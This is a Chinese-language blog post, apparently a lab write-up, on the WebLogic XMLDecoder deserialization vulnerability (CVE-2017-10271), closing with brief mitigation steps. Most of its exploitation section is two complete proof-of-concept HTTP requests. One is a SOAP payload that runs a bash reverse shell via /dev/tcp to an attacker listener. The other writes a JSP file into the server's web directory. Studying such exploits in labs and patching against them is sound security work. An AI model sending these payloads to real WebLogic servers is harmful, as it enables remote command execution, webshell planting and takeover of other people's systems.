美文网首页
Weblogic XMLDecoder 反序列化漏洞(CVE-2

Weblogic XMLDecoder 反序列化漏洞(CVE-2

作者: 低调求发展 | 来源:发表于2019-12-23 18:05 被阅读0次

    漏洞环境:

    搭建参考:https://www.freebuf.com/column/204885.html

    10.3.6.0weblogic

    影响版本:

    10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

    漏洞检测:

    检测存在漏洞

    检测工具下载地址:链接:https://pan.baidu.com/s/16d8aiHJs5wzlkz8pKq1m3g

    提取码:vnao

    漏洞利用:

    反弹shell:

    附poc:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1

    Host: 192.168.220.131:7001

    Accept-Encoding: gzip, deflate

    Accept: */*

    Accept-Language: en

    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

    Connection: close

    Content-Type: text/xml

    Content-Length: 644

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

    <java version="1.4.0" class="java.beans.XMLDecoder">

    <void class="java.lang.ProcessBuilder">

    <array class="java.lang.String" length="3">

    <void index="0">

    <string>/bin/bash</string>

    </void>

    <void index="1">

    <string>-c</string>

    </void>

    <void index="2">

    <string>bash -i &gt;&amp; /dev/tcp/192.168.220.128/5555 0&gt;&amp;1</string>

    </void>

    </array>

    <void method="start"/></void>

    </java>

    </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

    </soapenv:Envelope>

    1.首先打开kali,侦听端口192.168.220.128:5555

    2.使用burp发送poc:

    查看kali,可以发现反弹shell。

    写入shell

    附poc:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1

    Host: 192.168.220.131:7001

    Accept-Encoding: gzip, deflate

    Accept: */*

    Accept-Language: en

    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

    Connection: close

    Content-Type: text/xml

    Content-Length: 642

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

        <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

        <java><java version="1.4.0" class="java.beans.XMLDecoder">

        <object class="java.io.PrintWriter">

        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>

        <void method="println"><string>

        <![CDATA[

    <% out.print("test"); %>

        ]]>

        </string>

        </void>

        <void method="close"/>

        </object></java></java>

        </work:WorkContext>

        </soapenv:Header>

        <soapenv:Body/>

    </soapenv:Envelope>

    访问http://192.168.220.131:7001/bea_wls_internal/test.jsp

    漏洞防御

    1、临时解决方案 根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:

    Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

    Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

    Middleware/wlserver_10.3/server/lib/wls-wsat.war

    以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

    2、’官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。

    参考链接:

    https://blog.csdn.net/qq_29647709/article/details/84928306

    https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md

    https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

    相关文章

      网友评论

          本文标题:Weblogic XMLDecoder 反序列化漏洞(CVE-2

          本文链接:https://www.haomeiwen.com/subject/auqtoctx.html